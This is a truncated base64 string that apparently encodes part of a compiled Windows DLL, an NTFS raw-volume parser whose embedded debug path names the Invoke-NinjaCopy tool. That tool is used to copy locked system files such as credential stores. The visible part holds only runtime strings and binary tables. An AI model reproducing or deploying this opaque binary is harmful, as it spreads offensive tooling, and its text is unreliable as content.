pKWmp6ipqqusra6vsLGys7S1tre4ubq7vL2+v8DBwsPExcbHyMnKy8zNzs/Q0dLT1NXW19jZ2tvc3d7f4OHi4+Tl5ufo6err7O3u7/Dx8vP09fb3+Pn6+/z9/v8AAQIDBAUGBwgJCgsMDQ4PEBESExQVFhcYGRobHB0eHyAhIiMkJSYnKCkqKywtLi8wMTIzNDU2Nzg5Ojs8PT4/QEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaW1xdXl9gQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVp7fH1+f4CBgoOEhYaHiImKi4yNjo+QkZKTlJWWl5iZmpucnZ6foKGio6SlpqeoqaqrrK2ur7CxsrO0tba3uLm6u7y9vr/AwcLDxMXGx8jJysvMzc7P0NHS09TV1tfY2drb3N3e3+Dh4uPk5ebn6Onq6+zt7u/w8fLz9PX29/j5+vv8/f7/QQAAABcAAABDAE8ATgBPAFUAVAAkAAAAAAAAAAAAAAAGgICGgIGAAAAQA4aAhoKAFAUFRUVFhYWFBQAAMDCAUICIAAgAKCc4UFeAAAcANzAwUFCIAAAAICiAiICAAAAAYGhgaGhoCAgHeHBwd3BwCAgAAAgACAAHCAAAAAAAAABnZW5lcmljAHVua25vd24gZXJyb3IAAABpb3N0cmVhbQAAAAAAAAAAaW9zdHJlYW0gc3RyZWFtIGVycm9yAAAAc3lzdGVtAABpbnZhbGlkIHN0cmluZyBwb3NpdGlvbgBzdHJpbmcgdG9vIGxvbmcAXFwuXCVjOgBOVEZTICAgIAAAAAAAAAAAEJgBgAEAAACQVACAAQAAAEASAIABAAAA4BYAgAEAAADwFgCAAQAAADiYAYABAAAAQFQAgAEAAACAHACAAQAAAJAcAIABAAAAsBwAgAEAAACwmAGAAQAAABBUAIABAAAAQBIAgAEAAADgFgCAAQAAAPAWAIABAAAA2JgBgAEAAADgUwCAAQAAAIAcAIABAAAAkBwAgAEAAACwHACAAQAAAGCYAYABAAAAoBYAgAEAAABAEgCAAQAAAOAWAIABAAAA8BYAgAEAAACImAGAAQAAAMBKAIABAAAAgBwAgAEAAACQHACAAQAAALAcAIABAAAAAJkBgAEAAAAwSgCAAQAAAAibAYABAAAAoEkAgAEAAAAwmwGAAQAAACBJAIABAAAAWJsBgAEAAACQSACAAQAAAKibAYABAAAA0D0AgAEAAACAmwGAAQAAABAsAIABAAAAKJkBgAEAAACQKQCAAQAAAIAcAIABAAAAkBwAgAEAAACwHACAAQAAAFCZAYABAAAA4FQAgAEAAAB4mQGAAQAAALAnAIABAAAAQBIAgAEAAADgFgCAAQAAAPAWAIABAAAAoJkBgAEAAADAJgCAAQAAANCbAYABAAAAMCUAgAEAAADImQGAAQAAAFAkAIABAAAAQBIAgAEAAADgFgCAAQAAAPAWAIABAAAA8JkBgAEAAACgFgCAAQAAAEASAIABAAAA4BYAgAEAAADwFgCAAQAAABiaAYABAAAA7FQAgAEAAABAmgGAAQAAAOAiAIABAAAAQBIAgAEAAADgFgCAAQAAAPAWAIABAAAAaJoBgAEAAABwHgCAAQAAAJCaAYABAAAAoBYAgAEAAABAEgCAAQAAAOAWAIABAAAA8BYAgAEAAAC4mgGAAQAAAAAYAIABAAAAgBwAgAEAAACQHACAAQAAALAcAIABAAAA4JoBgAEAAACgFgCAAQAAAEASAIABAAAA4BYAgAEAAADwFgCAAQAAAPibAYABAAAAoBYAgAEAAACsXQCAAQAAAKxdAIABAAAArF0AgAEAAAAiBZMZBAAAAOCmAQACAAAAAKcBAAgAAABQpwEAIAAAAAAAAAABAAAAIgWTGQEAAABEqAEAAAAAAAAAAAADAAAA7KcBACAAAAAAAAAAAQAAACIFkxkBAAAAFKgBAAAAAAAAAAAAAwAAAByoAQAwAAAAAAAAAAEAAAAiBZMZAQAAAESoAQAAAAAAAAAAAAMAAABMqAEAIAAAAAAAAAABAAAAIgWTGQMAAACIqAEAAAAAAAAAAAAGAAAAoKgBADAAAAAAAAAAAQAAACIFkxkBAAAA4KgBAAAAAAAAAAAAAwAAAOioAQAgAAAAAAAAAAEAAAAiBZMZAwAAACSpAQAAAAAAAAAAAAYAAAA8qQEAQAAAAAAAAAABAAAAIgWTGQYAAABYqgEAAAAAAAAAAAATAAAAiKoBADgAAAAAAAAAAQAAACIFkxkBAAAAgKsBAAAAAAAAAAAAAwAAAIirAQA4AAAAAAAAAAEAAAAiBZMZCgAAABCsAQAAAAAAAAAAABgAAABgrAEAIAAAAAAAAAABAAAAIgWTGQEAAAAwrQEAAAAAAAAAAAADAAAAOK0BACAAAAAAAAAAAQAAACIFkxkBAAAAMK0BAAAAAAAAAAAAAwAAAGStAQAgAAAAAAAAAAEAAAAiBZMZAgAAAJytAQAAAAAAAAAAAAUAAACsrQEAMAAAAAAAAAABAAAAIgWTGQIAAAD0rQEAAAAAAAAAAAAFAAAABK4BACAAAAAAAAAAAQAAACIFkxkBAAAARKgBAAAAAAAAAAAAAwAAADyuAQAgAAAAAAAAAAEAAAAiBZMZAgAAAGSuAQAAAAAAAAAAAAQAAAB0rgEAIAAAAAAAAAABAAAAIgWTGQEAAAC0rgEAAAAAAAAAAAADAAAAvK4BAEAAAAAAAAAAAQAAACIFkxkCAAAA5K4BAAAAAAAAAAAABAAAAPSuAQAgAAAAAAAAAAEAAAAiBZMZAgAAAACwAQAAAAAAAAAAAAQAAAAQsAEAIAAAAAAAAAABAAAAAAAAAAAAAABwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8MABgAEAAAAAAAAAAAAAAAAAAAAAAAAAUlNEU00NHvLke2tEilKUWVNdDVsBAAAAQzpcR2l0aHViXFBvd2VyU2hlbGxcSW52b2tlLU5pbmphQ29weVxOVEZTUGFyc2VyXHg2NFxSZWxlYXNlXE5URlNQYXJzZXJETEwucGRiAAAAAAAAjQAAAI0AAAAAAAAAKMABAAAAAAAAAAAA/////wAAAABAAAAA8IkBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAiKAQAAAAAAAAAAAMiJAQAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAwAEAQIoBABiKAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAWIoBAAAAAAAAAAAAcIoBAMiJAQAAAAAAAAAAAAAAAAAAAAAAAMABAAEAAAAAAAAA/////wAAAABAAAAAQIoBAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAFDAAQDAigEAmIoBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAADYigEAAAAAAAAAAADwigEAyIkBAAAAAAAAAAAAAAAAAAAAAABQwAEAAQAAAAAAAAD/////AAAAAEAAAADAigEAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAeMABAECLAQAYiwEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAFiLAQAAAAAAAAAAAHiLAQDwigEAyIkBAAAAAAAAAAAAAAAAAAAAAAAAAAAAeMABAAIAAAAAAAAA/////wAAAABAAAAAQIsBAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAKDAAQDIiwEAoIsBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAADgiwEAAAAAAAAAAAAAjAEA8IoBAMiJAQAAAAAAAAAAAAAAAAAAAAAAAAAAAKDAAQACAAAAAAAAAP////8AAAAAQAAAAMiLAQAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAADQwAEAUIwBACiMAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAaIwBAAAAAAAAAAAAeIwBAAAAAAAAAAAAAAAAANDAAQAAAAAAAAAAAP////8AAAAAQAAAAFCMAQAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAowAEA8IkBAKCMAQAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAaMwBAPCMAQDIjAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAiNAQAAAAAAAAAAACCNAQDIiQEAAAAAAAAAAAAAAAAAAAAAAGjMAQABAAAAAAAAAP////8AAAAAQAAAAPCMAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAACIjgEAAAAAAAAAAAAY1AEAAAAAAAAAAAD/////AAAAAEAAAABIjQEAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAAoI0BAAAAAAAAAAAAmI4BAOiNAQBgjQEAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAABI1AEAGI8BAMCNAQAAAAAAAAAAAAAAAAAAAAAASNQBAAEAAAAAAAAA/////wAAAABAAAAAGI8BAAAAAAAAAAAAAAAAAKjTAQACAAAAAAAAAP////8AAAAAQAAAAMCOAQAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAY1AEASI0BADiOAQAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAqNMBAMCOAQBgjgEAAAAAAAAAAAAAAAAAAAAAAGCNAQAAAAAAAAAAAAAAAADg0wEAAgAAAAAAAAD/////AAAAAEAAAACIjQEAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAAMI8BAAAAAAAAAAAAAQAAAAAAAAAAAAAA4NMBAIiNAQDYjgEAAAAAAAAAAAAAAAAAAAAAAOiNAQBgjQEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAACPAQAAAAAAAAAAABCOAQDojQEAYI0BAAAAAAAAAAAAAAAAAAAAAAAAAAAAwJEBAGiUAQColQEAAAAAAAAAAAAAAAAAAAAAAAAAAADokQEAQJQBAKiVAQAAAAAAAAAAAAAAAAAAAAAAAAAAABCSAQBolAEAqJUBAAAAAAAAAAAAAAAAAAAAAAAAAAAAOJIBAECUAQColQEAAAAAAAAAAAAAAAAAAAAAAAAAAABgkgEAaJQBAKiVAQAAAAAAAAAAAAAAAAAAAAAAAAAAAIiSAQBAlAEAqJUBAAAAAAAAAAAAAAAAAAAAAAAAAAAAsJIBAAAAAAAAAAAAAAAAANiSAQBAlAEAqJUBAAAAAAAAAAAAAAAAAAAAAAAAAAAAKJMBAGiUAQColQEAAJMBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFCTAQCQlAEAAAAAAAAAAAAAAAAAAAAAAHiTAQBolAEAqJUBAAAAAAAAAAAAAAAAAAAAAAAAAAAAoJMBAGiUAQColQEAAAAAAAAAAAAAAAAAAAAAAAAAAADwkwEAaJQBAKiVAQDIkwEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGJQBAGiUAQColQEAAAAAAAAAAAAAAAAAAAAAAAAAAABAlAEAqJUBAAAAAAAAAAAAAAAAAAAAAABolAEAqJUBAAAAAAAAAAAAAAAAAAAAAACQlAEAAAAAAAAAAAAAAAAAuJQBAAAAAAAAAAAAAAAAAOCUAQAAAAAAAAAAAAAAAAAIlQEAAAAAAAAAAAAAAAAAMJUBAAAAAAAAAAAAAAAAAFiVAQCAlQEAAAAAAAAAAAAAAAAAAAAAAICVAQAAAAAAAAAAAAAAAAColQEAAAAAAAAAAAAAAAAAgNQBAAIAAAAAAAAA/////wAAAABAAAAA0JUBAAAAAAAAAAAAAAAAALjUAQACAAAAAAAAAP////8AAAAAQAAAAOiVAQAAAAAAAAAAAAAAAAD41AEAAgAAAAAAAAD/////AAAAAEAAAAAAlgEAAAAAAAAAAAAAAAAAMNUBAAIAAAAAAAAA/////wAAAABAAAAAGJYBAAAAAAAAAAAAAAAAAGjVAQACAAAAAAAAAP////8AAAAAQAAAADCWAQAAAAAAAAAAAAAAAACg1QEAAgAAAAAAAAD/////AAAAAEAAAABIlgEAAAAAAAAAAAAAAAAA4NUBAAAAAAAAAAAA/////wAAAABAAAAAYJYBAAAAAAAAAAAAAAAAABDWAQACAAAAAAAAAP////8AAAAAQAAAAHiWAQAAAAAAAAAAAAAAAAB41wEAAAAAAEgAAAD/////AAAAAEAAAABQlwEAAAAAAAAAAAAAAAAAONYBAAMAAAAAAAAA/////wAAAABAAAAAkJYBAAAAAAAAAAAAAAAAAGDWAQABAAAAAAAAAP////8AAAAAQAAAAKiWAQAAAAAAAAAAAAAAAACI1gEAAgAAAAAAAAD/////AAAAAEAAAADAlgEAAAAAAAAAAAAAAAAAsNYBAAIAAAAAAAAA/////wAAAABAAAAA2JYBAAAAAAAAAAAAAAAAAGDYAQAAAAAASAAAAP////8AAAAAQAAAAMiXAQAAAAAAAAAAAAAAAADY1gEAAwAAAAAAAAD/////AAAAAEAAAADwlgEAAAAAAAAAAAAAAAAAANcBAAIAAAAAAAAA/////wAAAABAAAAACJcBAAAAAAAAAAAAAAAAACjXAQABAAAAAAAAAP////8AAAAAQAAAACCXAQAAAAAAAAAAAAAAAABQ1wEAAQAAAAAAAAD/////AAAAAEAAAAA4lwEAAAAAAAAAAAAAAAAAeNcBAAAAAAAAAAAA/////wAAAABAAAAAUJcBAAAAAAAAAAAAAAAAAKjXAQAAAAAAAAAAAP////8AAAAAQAAAAGiXAQAAAAAAAAAAAAAAAADg1wEAAAAAAAAAAAD/////AAAAAEAAAACAlwEAAAAAAAAAAAAAAAAAENgBAAAAAAAAAAAA/////wAAAABAAAAAmJcBAAAAAAAAAAAAAAAAADjYAQAAAAAAAAAAAP////8AAAAAQAAAALCXAQAAAAAAAAAAAAAAAACA2AEAAQAAAAAAAAD/////AAAAAEAAAADglwEAAAAAAAAAAAAAAAAAYNgBAAAAAAAAAAAA/////wAAAABAAAAAyJcBAAAAAAAAAAAAAAAAAKjYAQAAAAAAAAAAAP////8AAAAAQAAAAPiXAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAABQjwEAAAAAAAAAAAAAAAAAAAAAAAMAAABwjwEAAAAAAAAAAAAAAAAAAAAAAAMAAACQjwEAAAAAAAAAAAAAAAAAAAAAAAMAAACwjwEAAAAAAAAAAAAAAAAAAAAAAAMAAADQjwEAAAAAAAAAAAAAAAAAAAAAAAMAAADwjwEAAAAAAAAAAAAAAAAAAAAAAAEAAAAQkAEAAAAAAAAAAAAAAAAAAAAAAAMAAAAgkAEAAAAAAAAAAAAAAAAAAQAAAAQAAABAkAEAAAAAAAAAAAAAAAAAAAAAAAIAAABokAEAAAAAAAAAAAAAAAAAAAAAAAMAAACAkAEAAAAAAAAAAAAAAAAAAAAAAAMAAACgkAEAAAAAAAAAAAAAAAAAAQAAAAQAAADAkAEAAAAAAAAAAAAAAAAAAAAAAAMAAADokAEAAAAAAAAAAAAAAAAAAAAAAAIAAAAIkQEAAAAAAAAAAAAAAAAAAAAAAAIAAAAgkQEAAAAAAAAAAAAAAAAAAAAAAAEAAAA4kQEAAAAAAAAAAAAAAAAAAAAAAAEAAABIkQEAAAAAAAAAAAAAAAAAAAAAAAEAAABYkQEAAAAAAAAAAAAAAAAAAAAAAAEAAABokQEAAAAAAAAAAAAAAAAAAAAAAAEAAAB4kQEAAAAAAAAAAAAAAAAAAAAAAAEAAACgkQEAAAAAAAAAAAAAAAAAAAAAAAIAAACIkQEAAAAAAAAAAAAAAAAAAAAAAAEAAACwkQEAAAAAAAAAAAABAAAAAAAAAAAAAACA1AEA0JUBABCYAQAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAuNQBAOiVAQA4mAEAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAPjUAQAAlgEAYJgBAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAw1QEAGJYBAIiYAQAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAaNUBADCWAQCwmAEAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAKDVAQBIlgEA2JgBAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAADg1QEA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AQAAADynAQBAAAAAAAAAAAAAAACgAwEAOAAAAEAAAAAAAAAAAAAAAOMDAQBIAAAAkBUAAP/////+FQAAAAAAACMWAAD/////oAMBAAAAAACtAwEAAQAAALUDAQACAAAA1QMBAAAAAADxAwEAAwAAABkKAgAKMgZQ1G8AAOCFAQAZCwMAC0IHUAYwAADUbwAA4IUBAAEPBgAPZAcADzQGAA8yC3ABCgQACjQIAApSBnABBgIABlICMBEYBAAYNAkAClIGcNRvAAAIhgEA4FIAAP////9cUwAAAAAAAMVTAAD/////ERMCAApyBjDUbwAAMIYBAP////+QBAEAIFIAAP////88UgAAAAAAAMxSAAD/////ERMCAApSBjDUbwAAWIYBAP////+gBAEAgFEAAP////+gUQAAAAAAAAVSAAD/////GTAKACE0FQAQsgzwCuAI0AbABHADYAJQAP4AAICGAQBaAAAA/////2AEAQAAAAAAbAQBAAEAAAB8BAEAkE4AAP////8sTwAAAAAAAFRPAAABAAAA9U8AAAIAAAAOUAAAAQAAAFJRAAD/////ERMCAApSBjDUbwAAqIYBAP////8ABgEA8E0AAP////8QTgAAAAAAAIJOAAD/////GTMKACQ0GQAT8gzwCuAI0AbABHADYAJQAP4AANCGAQByAAAA/////zAEAQAAAAAAPAQBAAEAAABMBAEAAEsAAP////9ESwAAAAAAAHVLAAABAAAAEUwAAAIAAAAqTAAAAQAAAMFNAAD/////AQ0EAA1SCeAHYAZQIQoEAAp0DAAFNAsA8EQAABhFAABsqQEAIQAEAAB0DAAANAsA8EQAABhFAABsqQEAIQAAAPBEAAAYRQAAbKkBABkjBwAVARIACeAH0AXAAzACUAAA7MkAAIAAAAAhGwYAG/QbABN0GgAIZBkAwD8AAGZAAAC4qQEAIQAGAAD0GwAAdBoAAGQZAMA/AABmQAAAuKkBACEAAADAPwAAZkAAALipAQAZHwUADTRQAA0BTAAGcAAA7MkAAFgCAAAZOQkAKDR4ABcBcAAI8AbgBHADYAJQAAAA/gAA+IYBAHIDAAD/////IAUBAP////8sBQEA/////10FAQD/////jgUBAAAAAAC/BQEA/////8sFAQDAOQAA/////5s6AAAAAAAAszoAAP////+4OgAAAQAAACk7AAD/////LjsAAAAAAABZOwAA/////147AAACAAAAyTsAAP/////OOwAAAAAAAPI7AAD/////9zsAAAMAAABpPAAA/////248AAAAAAAAhDwAAAQAAACZPAAAAAAAABQ9AAD/////GT0AAAUAAACJPQAA/////wENBgANVAkADTIJ4AdwBmAhBQIABTQIAKA4AADjOAAAIKsBACEAAgAANAgAoDgAAOM4AAAgqwEAIQAAAKA4AADjOAAAIKsBABEiBgAiNBMAFtIScBFgEFDUbwAAIIcBAP////8QBwEA4DUAAP////9WNgAAAAAAAFg3AAD/////ARQGABRkCAAUNAYAFDIQcAEKBAAKZAkACjIGcCEFAgAFNAYA4DIAAAAzAACwqwEAIQACAAA0BgDgMgAAADMAALCrAQAhAAAA4DIAAAAzAACwqwEAER4IAB50CwAZZAoAFDQIAAZSAuDUbwAASIcBAP////9QBgEA/////1wGAQD/////aAYBAP////90BgEA/////4AGAQD/////jAYBAP////+YBgEA/////6QGAQD/////sAYBAP////+8BgEAgC0AAP/////OLQAAAAAAANEtAAD/////bC4AAAAAAACGLgAA/////5ouAAABAAAAtC4AAP/////ILgAAAgAAAOIuAAD/////9i4AAAMAAAAQLwAA/////7MvAAAEAAAA1C8AAP////9qMAAABQAAAIQwAAD/////mzAAAAYAAADlMAAA/////wIxAAAHAAAAHDEAAP////8wMQAACAAAAEoxAAD/////azEAAAkAAACFMQAA/////xQyAAAAAAAAERMCAApSBjDUbwAAcIcBAP////8QBgEAkCwAAP////+wLAAAAAAAAMQsAAD/////ERgEABg0CQAKUgZw1G8AAJiHAQAQLAAA/////zcsAAAAAAAASywAAP////8RHwoAH1QRABs0EAAPcgvwCeAHwAVwBGDUbwAAwIcBAP/////QBgEAAAAAANwGAQDQKQAA/////+IqAAAAAAAA8yoAAAEAAAAWKwAAAAAAABsrAAD/////ESIKACJkDQAdVAwAGDQLAApSBvAE4AJw1G8AAOiHAQD/////8AYBAAAAAAD8BgEAgCgAAP/////iKAAAAAAAAPMoAAABAAAAFikAAAAAAAAbKQAA/////xETAgAKUgYw1G8AABCIAQDgJwAA/////wAoAAAAAAAAZSgAAP////8REwIAClIGMNRvAAA4iAEA//////AEAQAAAAAA/AQBAPAmAAD/////ZycAAAAAAAB4JwAAAQAAAKMnAAD/////ATQGADQ0BgAKZAcACjIGcBETAgAKkgYw1G8AAGCIAQD/////EAUBAEAjAAD/////tyMAAAAAAABHJAAA/////xETAgAKUgYw1G8AAIiIAQD/////0AQBAAAAAADcBAEAICIAAP////+XIgAAAAAAAKkiAAABAAAAyyIAAP////8ZHwUADTRMAA0BSgAGcAAA7MkAAEACAAAZJwkAFVRPABU0TAAVAUgADuAMcAtgAADsyQAAMAIAABlKCQBKNEsAEmRNABJUTAASAUgAC3AAAOzJAAAwAgAAAYANAIB0DQB1NAwAYt